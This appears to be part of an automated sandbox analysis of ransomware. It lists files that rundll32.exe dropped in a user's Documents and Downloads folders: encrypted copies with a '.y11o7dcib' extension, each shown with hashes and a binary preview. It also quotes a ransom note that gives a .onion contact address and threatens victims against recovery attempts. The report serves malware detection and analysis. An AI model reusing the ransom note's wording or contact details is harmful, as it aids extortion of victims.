Preview:	.m...PHK'3..(.}B..d.I...Z<.&]....6..b..z.....Y..>...@F!(F.....l...X[J96...\|L..}.L...A>./@....4.7`...s.....G..9...SI1?G.....v...QJW!8..#.qZ..y.E..X:.'Z....#. f..f.....V..9...CC%6N.....p...]M^?8..3.kT..x.I...\(.6O..../.<f..t.....M.....KX "U.....t...WOK#?..1.~_..j.O..A>.3G....8.7p...}.....Q..$...LD)(P......k...OOJ:0..>.eQ..e.W..W%.8[....+./r..x.....E..)...NR4=M.....p...BMJ>:..5.k@..e.^.._?.?V.....q..h.....Q..=...@F56Z.....~...UQC#?..2.fG..`.Y..B,.3\....%.&...i.....O..9...SJ#)G.....l...WUQ/ ..6.xO..y.I..[%.1G....'.!m..}.....V..<...@M.-D......~...TFW<6..#.`P..b.^..I>."T....".(x..w.....]..=....CF.#\.....d...ODV&>..?.iX..x.I...G .;[.... .)`..}.....W..:...WL!*W.....e...DGF"0../.jS..f.O...T$.4@.... .4`...q.....S.."....OY70[.....~...FRB(&..?.c^..~.H...U'.9Z....%.,y..u.....^..3....DR)!J.....g..._I^!9..2.r^..~.O...D;.=R....6.!v..{.....O../...FB#3L.....e...ZJW$5..).yC..v.E...G9.&O....!..y..{.....\..8...DD&1D.....k...UEO'8..>.y_..s.Z..@?.<D....$.7\|..

C:\Users\user\Documents\UOOJJOZIRH.jpg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.591248766340771
Encrypted:	false
SSDEEP:
MD5:	AEA610E3645D640574B861F46CACA885
SHA1:	CA9DA4E3DF73F9E2D72C07CF353CC827C4E4B27B
SHA-256:	81B83537C7D897C3AD974123FCA4526152CCB13F26BE35C4368ECBB3E6B7F9F6
SHA-512:	64991AD84BC6B4DF084F7C727EA6EC8EC14C4803A6F28E5C821AF0188149F175EA800B916714C2C4C8AC7879A7A2665320B55AB7E00A5EE5770BB86A677DFDE9
Malicious:	false
Preview:	-3...%...{5.7by.]B.....V.,x.U...o...tj...;...j.H0.L].7P)...-&...&...\|$..{~.XC.....G.7e.E...~.w.q{..&...p.D0.V\.+P,...=9.....(...v0.5lg.[[.....H.?h.M...r.{.{n..3...~.V,.L_.<K/..>>...&..../.0mz.T_.....O.?v.D...s.u..py..>...d.G#.JC.>Q;..>2.../...l,.+ij.LO.....S.<s.U...k.c.cx..+...q.N/.UU. R?..(4...#...p3.'hm.YX.....L.$c.I...j.\|..f..7...j.G(.LS.+O?...5%...4...h#.'et.G^.....X.4b.G...r.y..nc...;...u.T=.JY.5F?...(&...)...l,.0wa.Y_.....P.$h.E...v.w..dc...0...h.K=.PA.?K,...5:...6...i,.1ie.@C.....V.)e.G...q.}.}`..%...b.@7.JC.+R:...6$...&...o,.'k}.YD.....L.2f.I...y.\|..ra..7...}.T!.HD.=P$..6,...4...c'.<qx.^].....G.1n.E...b.`..ub..5...d.A>.IU.0U?..=:.....5...{$.)g~._A.....N.3t.V...y.z..sr.....a.T(.PG. @..?;...(....j%.?hh.]L.....[.6c.G...z.q.gn.. ...n.J..JB.=J,..,.../...{,.7md.WQ.....O.,r.N...x.~.sg...%...`.M4.QV.-I)...56.........(vk.BS.....C.-b.E...n.x..fh... ...q.R8.VU.-U<...3:.....5...}).%yz.]_.....C.?g.A...\|.z.

C:\Users\user\Documents\UOOJJOZIRH.jpg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.591248766340771
Encrypted:	false
SSDEEP:
MD5:	AEA610E3645D640574B861F46CACA885
SHA1:	CA9DA4E3DF73F9E2D72C07CF353CC827C4E4B27B
SHA-256:	81B83537C7D897C3AD974123FCA4526152CCB13F26BE35C4368ECBB3E6B7F9F6
SHA-512:	64991AD84BC6B4DF084F7C727EA6EC8EC14C4803A6F28E5C821AF0188149F175EA800B916714C2C4C8AC7879A7A2665320B55AB7E00A5EE5770BB86A677DFDE9
Malicious:	false
Preview:	-3...%...{5.7by.]B.....V.,x.U...o...tj...;...j.H0.L].7P)...-&...&...\|$..{~.XC.....G.7e.E...~.w.q{..&...p.D0.V\.+P,...=9.....(...v0.5lg.[[.....H.?h.M...r.{.{n..3...~.V,.L_.<K/..>>...&..../.0mz.T_.....O.?v.D...s.u..py..>...d.G#.JC.>Q;..>2.../...l,.+ij.LO.....S.<s.U...k.c.cx..+...q.N/.UU. R?..(4...#...p3.'hm.YX.....L.$c.I...j.\|..f..7...j.G(.LS.+O?...5%...4...h#.'et.G^.....X.4b.G...r.y..nc...;...u.T=.JY.5F?...(&...)...l,.0wa.Y_.....P.$h.E...v.w..dc...0...h.K=.PA.?K,...5:...6...i,.1ie.@C.....V.)e.G...q.}.}`..%...b.@7.JC.+R:...6$...&...o,.'k}.YD.....L.2f.I...y.\|..ra..7...}.T!.HD.=P$..6,...4...c'.<qx.^].....G.1n.E...b.`..ub..5...d.A>.IU.0U?..=:.....5...{$.)g~._A.....N.3t.V...y.z..sr.....a.T(.PG. @..?;...(....j%.?hh.]L.....[.6c.G...z.q.gn.. ...n.J..JB.=J,..,.../...{,.7md.WQ.....O.,r.N...x.~.sg...%...`.M4.QV.-I)...56.........(vk.BS.....C.-b.E...n.x..fh... ...q.R8.VU.-U<...3:.....5...}).%yz.]_.....C.?g.A...\|.z.

C:\Users\user\Documents\VAMYDFPUND.mp3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.602696431096282
Encrypted:	false
SSDEEP:
MD5:	B65FC3244A92CEF25E7C2FF792FAEC2D
SHA1:	86D33D43CFC15E38262E11C67CE75B83459F367D
SHA-256:	AD3B9D2A3ABA5CF30BA7BA20C6C289AF607BD232D03913C2BE488861DE127209
SHA-512:	D30A7A838D55214EA7393D64CD64C6A1E4BC6DD744C1FA6B54880ED6650CE3F58DEF6309469EA566CD852CA3E6C97F5CC3B65E5FCD66A5690C1A30AC8FC36E7A
Malicious:	false
Preview:	......q76.T..tX......W.y........C6W?.....;6.][.........c.jXNK......t71.Y..iV......G.r........E0Q4..../6.XX........i.nAAV......x$ .A..`K.......Y.n........]4V2.....=*.[T.........g.yIRS......l!3.R..._......O.d........R4M3...../ .RD........g.\|LEL......f/4.F..vJ......X.r........E&[(....&3.[L........x.sQ[Z.......y&<.G...^......I.e........^-G9.....=0.JU.........t.\|@ZU......v-=.Y..dZ......Y.h........]4S6....9(.XS.........m.o[ZX......k(0.]..uU......T.u........V%R0....1..TI........v.pTHN......n6..]..qK......L.t........H X/....'7.FU.........r.`RXU.......u)1.X..hK......N.h........P$V:.....'5.ER.........r.{ZH[......i85.A..yM......S.q........H7Y,....+".[N........p.rG[K......{-+.A..j]......L.k........U#_%....:2.OL........y.sQHK.......s49.[..uQ......K.~........C.[$....2>.NF.........q.wDKX......l10.F..vQ......P.t........E4D,....#8.ZY........n.kQZP......{&?.R..\|I......S.o........N5Q,....=8.YH........p.oKKK.......o-9.A..z^......I.q........^$A)...

C:\Users\user\Documents\VAMYDFPUND.mp3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.602696431096282
Encrypted:	false
SSDEEP:
MD5:	B65FC3244A92CEF25E7C2FF792FAEC2D
SHA1:	86D33D43CFC15E38262E11C67CE75B83459F367D
SHA-256:	AD3B9D2A3ABA5CF30BA7BA20C6C289AF607BD232D03913C2BE488861DE127209
SHA-512:	D30A7A838D55214EA7393D64CD64C6A1E4BC6DD744C1FA6B54880ED6650CE3F58DEF6309469EA566CD852CA3E6C97F5CC3B65E5FCD66A5690C1A30AC8FC36E7A
Malicious:	false
Preview:	......q76.T..tX......W.y........C6W?.....;6.][.........c.jXNK......t71.Y..iV......G.r........E0Q4..../6.XX........i.nAAV......x$ .A..`K.......Y.n........]4V2.....=*.[T.........g.yIRS......l!3.R..._......O.d........R4M3...../ .RD........g.\|LEL......f/4.F..vJ......X.r........E&[(....&3.[L........x.sQ[Z.......y&<.G...^......I.e........^-G9.....=0.JU.........t.\|@ZU......v-=.Y..dZ......Y.h........]4S6....9(.XS.........m.o[ZX......k(0.]..uU......T.u........V%R0....1..TI........v.pTHN......n6..]..qK......L.t........H X/....'7.FU.........r.`RXU.......u)1.X..hK......N.h........P$V:.....'5.ER.........r.{ZH[......i85.A..yM......S.q........H7Y,....+".[N........p.rG[K......{-+.A..j]......L.k........U#_%....:2.OL........y.sQHK.......s49.[..uQ......K.~........C.[$....2>.NF.........q.wDKX......l10.F..vQ......P.t........E4D,....#8.ZY........n.kQZP......{&?.R..\|I......S.o........N5Q,....=8.YH........p.oKKK.......o-9.A..z^......I.q........^$A)...

C:\Users\user\Documents\VAMYDFPUND.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.624430466998816
Encrypted:	false
SSDEEP:
MD5:	3A9942C90589B5754DAB9E6F6A6F2513
SHA1:	5A21005993D6910C75B0499F5E3041758AB915F1
SHA-256:	FC32BE4DDEEC186D41E4D178D210E3886B4CE29278552C167B80327434FF0F06
SHA-512:	15BC8C639667FE4CABA4138D4C2E825922A7CE03C3DB551D1FBFFC7937A1F5806A1534C58E5B6CDD8AD905E7298FB5227EC880C5CB6700103BFC9754019914ED
Malicious:	false
Preview:	.....9^....iH&X..#...(...L....6V...g8..... .. a".m.}.n."...z......7[....m_;V..4..8...\....0P...o,.....%..9`".n.p.b.<...g......8W....g_2K.....&...T.....(T...w9.....&..4o+.k.w.~.<...b......9C....{^-_..7...0...N....'T...y4...../..+j).`.d.w.;...}......9I....sO$J..5..'...J.....0F...e+.....&..=l,.g.p.l.#...k......)V....kB-^..-...6...K....+M...v'.....7..+u=.g.w.i.#...d......)Y....n\6Z../...&...B.....(T...s.....%..<u-.l.}.i.>...i.......D....v]'U..)...+...V....#E...t/.....)..)a".`.p.m.$..........9A....mV#K..2..3...H.....=@...h9.....;..8m".p.v.t.&...d......'Z....gT:K..=..1...J....%D...u/.....8.. w>.z.v.v.>...j......5F....aM+M..<..,...^.....=W...d.....&..-m7.`.m.o.'...z......;T....t_8]..=..3...G.... C...f0.....2..2`/.f.l.j.$...z....../\....zJ'Q..6...4...E....6N...{).....3..+s9.s.v.l.9...i......8C....sU$Q.. ../...N....0T...k#.....'..6u".s.l... ...a......5T....{_.I..)...,...I....;U...r5.....$..e:.j.p.v.8...z....../@....nT(^.. ...6...L.....+D...v0

C:\Users\user\Documents\VAMYDFPUND.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.624430466998816
Encrypted:	false
SSDEEP:
MD5:	3A9942C90589B5754DAB9E6F6A6F2513
SHA1:	5A21005993D6910C75B0499F5E3041758AB915F1
SHA-256:	FC32BE4DDEEC186D41E4D178D210E3886B4CE29278552C167B80327434FF0F06
SHA-512:	15BC8C639667FE4CABA4138D4C2E825922A7CE03C3DB551D1FBFFC7937A1F5806A1534C58E5B6CDD8AD905E7298FB5227EC880C5CB6700103BFC9754019914ED
Malicious:	false
Preview:	.....9^....iH&X..#...(...L....6V...g8..... .. a".m.}.n."...z......7[....m_;V..4..8...\....0P...o,.....%..9`".n.p.b.<...g......8W....g_2K.....&...T.....(T...w9.....&..4o+.k.w.~.<...b......9C....{^-_..7...0...N....'T...y4...../..+j).`.d.w.;...}......9I....sO$J..5..'...J.....0F...e+.....&..=l,.g.p.l.#...k......)V....kB-^..-...6...K....+M...v'.....7..+u=.g.w.i.#...d......)Y....n\6Z../...&...B.....(T...s.....%..<u-.l.}.i.>...i.......D....v]'U..)...+...V....#E...t/.....)..)a".`.p.m.$..........9A....mV#K..2..3...H.....=@...h9.....;..8m".p.v.t.&...d......'Z....gT:K..=..1...J....%D...u/.....8.. w>.z.v.v.>...j......5F....aM+M..<..,...^.....=W...d.....&..-m7.`.m.o.'...z......;T....t_8]..=..3...G.... C...f0.....2..2`/.f.l.j.$...z....../\....zJ'Q..6...4...E....6N...{).....3..+s9.s.v.l.9...i......8C....sU$Q.. ../...N....0T...k#.....'..6u".s.l... ...a......5T....{_.I..)...,...I....;U...r5.....$..e:.j.p.v.8...z....../@....nT(^.. ...6...L.....+D...v0

C:\Users\user\Documents\VAMYDFPUND.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.604267567101489
Encrypted:	false
SSDEEP:
MD5:	42A05D2976A516AD2BD402341C8E66CA
SHA1:	8FA3D615DB3542374519BBE23F3C67780B5B2879
SHA-256:	8CA799A33884632DC70B2FF3A257B9CC9B384873B604689537FD6AC66910D6E0
SHA-512:	4BE5FB351EDE5190335EF5CAB2DABA2D7033ABDC951DB6C6E317098D7E1A5CA505E4E09EA8DFDC75F78F477B8215DBBA58A3447AA97DCD880015A9709C848B55
Malicious:	false
Preview:	.jf0.....Mh~e[&......A..F.....h....q)..!...g.....`cG.5X...!....~{;.....CezrF(......L..M.....g....z>..%....b.....e`[.)T...8....z./.....\}prO5......F..Q.....a....\|-../...a......eC."H...0....z}3.....MnlsP!......U..[.....f....} ..'....h.....vnM."A...5....}f8.....FzdbY4......L..M.....\|....f%..9...a.....fiX.$Z...(....dq .....O{\|oP ......]..Z.....u....w)..+...p.....giM.0_...9....mx#.....BeyqK$......W..W.....a....x'..;...b.....`bE.>_..."....}a......YaapZ+......O..J.....u....~"..6...n.....dn_.7[...-....~j8.....Naz{^5......]..K.....t....a/..4...\|.....r~U.6B...+....\|o....._dpyG5......C..W.....d....t!..+.........otU.0@...#....`r$.....C}v`V3......\..N.....\|....b#..$....a......n[.,Y...>....gd3.....Z}crE#......F..T.....~....k=..4...u.....whQ."\...(....cj$.....KgmgZ/......V..A.....\|....j#..2...t.....y}@.?Z...=.....g:.....KzdxY/......T..K.....j....b$..5....`.....p}M.I...(....qn......ZnlrS7......U..P.....p....b0..4...c.....}d[./@...2....br/.....S}yyU ......N..N.....}....g3..

C:\Users\user\Documents\VAMYDFPUND.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.604267567101489
Encrypted:	false
SSDEEP:
MD5:	42A05D2976A516AD2BD402341C8E66CA
SHA1:	8FA3D615DB3542374519BBE23F3C67780B5B2879
SHA-256:	8CA799A33884632DC70B2FF3A257B9CC9B384873B604689537FD6AC66910D6E0
SHA-512:	4BE5FB351EDE5190335EF5CAB2DABA2D7033ABDC951DB6C6E317098D7E1A5CA505E4E09EA8DFDC75F78F477B8215DBBA58A3447AA97DCD880015A9709C848B55
Malicious:	false
Preview:	.jf0.....Mh~e[&......A..F.....h....q)..!...g.....`cG.5X...!....~{;.....CezrF(......L..M.....g....z>..%....b.....e`[.)T...8....z./.....\}prO5......F..Q.....a....\|-../...a......eC."H...0....z}3.....MnlsP!......U..[.....f....} ..'....h.....vnM."A...5....}f8.....FzdbY4......L..M.....\|....f%..9...a.....fiX.$Z...(....dq .....O{\|oP ......]..Z.....u....w)..+...p.....giM.0_...9....mx#.....BeyqK$......W..W.....a....x'..;...b.....`bE.>_..."....}a......YaapZ+......O..J.....u....~"..6...n.....dn_.7[...-....~j8.....Naz{^5......]..K.....t....a/..4...\|.....r~U.6B...+....\|o....._dpyG5......C..W.....d....t!..+.........otU.0@...#....`r$.....C}v`V3......\..N.....\|....b#..$....a......n[.,Y...>....gd3.....Z}crE#......F..T.....~....k=..4...u.....whQ."\...(....cj$.....KgmgZ/......V..A.....\|....j#..2...t.....y}@.?Z...=.....g:.....KzdxY/......T..K.....j....b$..5....`.....p}M.I...(....qn......ZnlrS7......U..P.....p....b0..4...c.....}d[./@...2....br/.....S}yyU ......N..N.....}....g3..

C:\Users\user\Documents\WKXEWIOTXI.jpg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.547320458381289
Encrypted:	false
SSDEEP:
MD5:	BFF30820BCAC74FF38433E93713D3EE4
SHA1:	2385BDD673F1DCAFBC2BF738EC6578FFC8533B2B
SHA-256:	1071820051ADEE1EB6D675A0DA817F91DC5189516C1C0F195DE8EBCB88D52BB4
SHA-512:	F68A1D56D6A1B3D5740E55267EFC7A5C86D8A7128D549EEBA9481E9B39435CB306BBB84B047EA3C062786F2356CFC21F1E828DEDE9D1B23CE0ACE9CD32895311
Malicious:	false
Preview:	.:..h...QO,.^\......V....=.;........LDE..QjH.0...?...El+..:..c...NR%.DZ......S....3.)........\DH..XaZ.!..."...Fo4..&..g...OR/.F\......[....&.;........MND..HlA.+...<...Fn$..2...s...UQ8.\D......\....3./........JCJ..YuY.)...)...Vb<..6..u...R\,.TX......G....).9........\TU..NiY."...3..._g8.."..j...RR8.R[......F..../.>........HLG..HjI...."...Sa(..!..d...Z\>.]P......L....:.........NKK..CjK.+...!...Jf0..&...l...VF%.B]......Z....'.(........LXR..W}L.)...:...].7..>...l...HG(.BK......C.....#.#.........JKA..Qd_.7...3...Va(..9...g...UC%.OK......[....?.$........OTU..PjK.?...8...Ef4.. ..m...@]=.E_......T.... ./........]QT..^eJ.-...#...\u>..9...p...PP(.@C......_....>.!........QC^..MhY.%...5...Uy3.. ...q...UL5.E@......C....-.?........KCH..Qv\.2...(..._~?..>...q...QR?.QU.......Y...../........US@..HbW.#...4...E}9..:..x...A@/.SI......O....$.-........YVC.._v\....(...Wh;..!...h...BG9.B@......B....(.'.......

C:\Users\user\Documents\WKXEWIOTXI.jpg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.547320458381289
Encrypted:	false
SSDEEP:
MD5:	BFF30820BCAC74FF38433E93713D3EE4
SHA1:	2385BDD673F1DCAFBC2BF738EC6578FFC8533B2B
SHA-256:	1071820051ADEE1EB6D675A0DA817F91DC5189516C1C0F195DE8EBCB88D52BB4
SHA-512:	F68A1D56D6A1B3D5740E55267EFC7A5C86D8A7128D549EEBA9481E9B39435CB306BBB84B047EA3C062786F2356CFC21F1E828DEDE9D1B23CE0ACE9CD32895311
Malicious:	false
Preview:	.:..h...QO,.^\......V....=.;........LDE..QjH.0...?...El+..:..c...NR%.DZ......S....3.)........\DH..XaZ.!..."...Fo4..&..g...OR/.F\......[....&.;........MND..HlA.+...<...Fn$..2...s...UQ8.\D......\....3./........JCJ..YuY.)...)...Vb<..6..u...R\,.TX......G....).9........\TU..NiY."...3..._g8.."..j...RR8.R[......F..../.>........HLG..HjI...."...Sa(..!..d...Z\>.]P......L....:.........NKK..CjK.+...!...Jf0..&...l...VF%.B]......Z....'.(........LXR..W}L.)...:...].7..>...l...HG(.BK......C.....#.#.........JKA..Qd_.7...3...Va(..9...g...UC%.OK......[....?.$........OTU..PjK.?...8...Ef4.. ..m...@]=.E_......T.... ./........]QT..^eJ.-...#...\u>..9...p...PP(.@C......_....>.!........QC^..MhY.%...5...Uy3.. ...q...UL5.E@......C....-.?........KCH..Qv\.2...(..._~?..>...q...QR?.QU.......Y...../........US@..HbW.#...4...E}9..:..x...A@/.SI......O....$.-........YVC.._v\....(...Wh;..!...h...BG9.B@......B....(.'.......

C:\Users\user\Documents\WKXEWIOTXI.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.563640099292748
Encrypted:	false
SSDEEP:
MD5:	A5DBA292F73FFF674D1DEE9F34D84F49
SHA1:	59EF10A0AF7C09822BB34930BD307DDE68107D7D
SHA-256:	60C9F7B041C8FF2C53C97F952438FCB62F3FAC8963005C4EA54828E4EC82500D
SHA-512:	B2853449B3DE776D28D1DDEF71469A716356EB9381EE17A6AF777A02B5F87DF67A476E8F26225E2DC591B9FBC57BC31B55F189792FB2296C5709A29279C8C346
Malicious:	false
Preview:	.e.c..7.`....d..Q.i(U+xI.....6D.v.~.@..b......\..]..Qyr......e.w..?.}....~..].{;O}K.......$+@.t.s.A..r......G..Q..Swh......y.`..=......\|..V.m!M=uD.....60T.k.`.A..c......Q..Z..Mlc......m.i..).o...f..W.p1R,rF......."$G.s.{.X..d......W..D..Kqx......i.l..?.n....n..K.t#OiP.......4>U.h.n.Y..r......J..N..Akq......}.s..1.h...h..[.p!U9hL.....3?P.}.x.S..f......I..P..Mdu......~.e..2.i...g..N.r8[!bK.......'&U.t.j.Z..`......G..X..Xwi......y.e..>.w....x..Q.o+Q:tR.......%3X.j.m.^..b......L.._..\ty....a.j..:.h...x..V.t9Q?mT......<A.k.q.M..d.......A..I..Hwp......f.a..-.z....u..J.i6F)u[.....).G.m.f.B..a......O..I..Lsj........n..5.b......L.e!Z0zH....."(Z.n.e.B..s.......K..U..Qrb....f....).i...z..Y.u8F#qQ.....,![.f.n.Z.........S..M..Ohu......c..).q......I.u8Z+mU.......23\.`.j.\..e......R..O..Fux....a.d....u...k..R.z'X;wB......."-R.u.z.U..{......Q..W..@du....e.h..?.p....i..R.{9L-aW....... <X.c.j.V..w......J..I..Z{v....~.k..6.`....x..Z.x<V,lM.....0_.u.n.X

C:\Users\user\Documents\WKXEWIOTXI.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.563640099292748
Encrypted:	false
SSDEEP:
MD5:	A5DBA292F73FFF674D1DEE9F34D84F49
SHA1:	59EF10A0AF7C09822BB34930BD307DDE68107D7D
SHA-256:	60C9F7B041C8FF2C53C97F952438FCB62F3FAC8963005C4EA54828E4EC82500D
SHA-512:	B2853449B3DE776D28D1DDEF71469A716356EB9381EE17A6AF777A02B5F87DF67A476E8F26225E2DC591B9FBC57BC31B55F189792FB2296C5709A29279C8C346
Malicious:	false
Preview:	.e.c..7.`....d..Q.i(U+xI.....6D.v.~.@..b......\..]..Qyr......e.w..?.}....~..].{;O}K.......$+@.t.s.A..r......G..Q..Swh......y.`..=......\|..V.m!M=uD.....60T.k.`.A..c......Q..Z..Mlc......m.i..).o...f..W.p1R,rF......."$G.s.{.X..d......W..D..Kqx......i.l..?.n....n..K.t#OiP.......4>U.h.n.Y..r......J..N..Akq......}.s..1.h...h..[.p!U9hL.....3?P.}.x.S..f......I..P..Mdu......~.e..2.i...g..N.r8[!bK.......'&U.t.j.Z..`......G..X..Xwi......y.e..>.w....x..Q.o+Q:tR.......%3X.j.m.^..b......L.._..\ty....a.j..:.h...x..V.t9Q?mT......<A.k.q.M..d.......A..I..Hwp......f.a..-.z....u..J.i6F)u[.....).G.m.f.B..a......O..I..Lsj........n..5.b......L.e!Z0zH....."(Z.n.e.B..s.......K..U..Qrb....f....).i...z..Y.u8F#qQ.....,![.f.n.Z.........S..M..Ohu......c..).q......I.u8Z+mU.......23\.`.j.\..e......R..O..Fux....a.d....u...k..R.z'X;wB......."-R.u.z.U..{......Q..W..@du....e.h..?.p....i..R.{9L-aW....... <X.c.j.V..w......J..I..Z{v....~.k..6.`....x..Z.x<V,lM.....0_.u.n.X

C:\Users\user\Documents\ZTGJILHXQB.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.505352935599915
Encrypted:	false
SSDEEP:
MD5:	06330CEED042ED26B42F8885549A587E
SHA1:	871DDBFEE03F5ABAC3A70F6FC5C903EFBB2233D5
SHA-256:	DB22E0676BF23322405D90D17382FA8017E445C40B49816368B82C22E126E708
SHA-512:	7484707AB233CDD63F2F4553CCB4656ECA93647F8C6C1EE3D01986FD8BBFC1FF6D77CA0FBA190DB2E28E3C519B094225F1817B9EB9B70FCDC7E851AF69D097B5
Malicious:	false
Preview:	[.(".]>.....d.!&..-u.-.~.Y..H.Y........u1..+,.$........O Q..,.G$.....~.>2..0u.$.y.Y..Q.U.........d#..%?.)...........Y7P.(:.]$.....r.?=..4w.1.}._..W.T.........z;..1(.........L6V.;(.L2.......3>.. v.".i.D..\.A........g>..((.:........U"R.$&._1.....e./>.. n.>.v.K..C.W........\|!..#8.%...........O<B.1:.]-.....d.10..?j.0.~.B..R.R.........\|#..:=.>..........[6V.08._(.....j.#"..-v.%.}.C..N.]........o6..;-.#..........P<W.2".E).....y.9-..5~.?.~.I..\.Q........z$.. :.%........A7G.!..T>.....l.1$..4a.%.b.E..M.Z.........g1..< .<........A!R.&!.Y'.....s.#7..l.2.y.@..H.D........q&...(.;..........N'O.0'.Q-.....q.:&..1a. .q.\..O._........v8..!>.5..........B;T.* .S......~..2..5m.0.m.F..^.D........y4..>,.$..........[#R./%.@?......r.$..!b.&.}.L..U.^........\|4..%/.8........]-O.:,.[2.....m.)=..!w.5.}.K..^.G.........l:..:=.".........N=R.&!.G.....s.(".. r.&.y.H..R.\........j4.. :.*.........._"P..!8.Q3......r.%%...b.2.a.G..A.Y.......

C:\Users\user\Documents\ZTGJILHXQB.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.505352935599915
Encrypted:	false
SSDEEP:
MD5:	06330CEED042ED26B42F8885549A587E
SHA1:	871DDBFEE03F5ABAC3A70F6FC5C903EFBB2233D5
SHA-256:	DB22E0676BF23322405D90D17382FA8017E445C40B49816368B82C22E126E708
SHA-512:	7484707AB233CDD63F2F4553CCB4656ECA93647F8C6C1EE3D01986FD8BBFC1FF6D77CA0FBA190DB2E28E3C519B094225F1817B9EB9B70FCDC7E851AF69D097B5
Malicious:	false
Preview:	[.(".]>.....d.!&..-u.-.~.Y..H.Y........u1..+,.$........O Q..,.G$.....~.>2..0u.$.y.Y..Q.U.........d#..%?.)...........Y7P.(:.]$.....r.?=..4w.1.}._..W.T.........z;..1(.........L6V.;(.L2.......3>.. v.".i.D..\.A........g>..((.:........U"R.$&._1.....e./>.. n.>.v.K..C.W........\|!..#8.%...........O<B.1:.]-.....d.10..?j.0.~.B..R.R.........\|#..:=.>..........[6V.08._(.....j.#"..-v.%.}.C..N.]........o6..;-.#..........P<W.2".E).....y.9-..5~.?.~.I..\.Q........z$.. :.%........A7G.!..T>.....l.1$..4a.%.b.E..M.Z.........g1..< .<........A!R.&!.Y'.....s.#7..l.2.y.@..H.D........q&...(.;..........N'O.0'.Q-.....q.:&..1a. .q.\..O._........v8..!>.5..........B;T.* .S......~..2..5m.0.m.F..^.D........y4..>,.$..........[#R./%.@?......r.$..!b.&.}.L..U.^........\|4..%/.8........]-O.:,.[2.....m.)=..!w.5.}.K..^.G.........l:..:=.".........N=R.&!.G.....s.(".. r.&.y.H..R.\........j4.. :.*.........._"P..!8.Q3......r.%%...b.2.a.G..A.Y.......

C:\Users\user\Documents\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Downloads\CURQNKVOIX.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.6404609308778415
Encrypted:	false
SSDEEP:
MD5:	3067EF958044F0CD2730AEE57208D8AB
SHA1:	15ACC6379649CA0FC1567731E0BE456D341D200C
SHA-256:	EAB19D536AD704CD116E1A6626BF817DBA55EB2D9BD5A1B0F834B882A0CDF636
SHA-512:	03B34973E3573E6E14254EFE1386CE3DB25BE6758B907F28B30E9D2E2B9E885FCEF3B153082A74ED2623429658D19DEF93732E7729AE0E236961E5006268B7E3
Malicious:	false
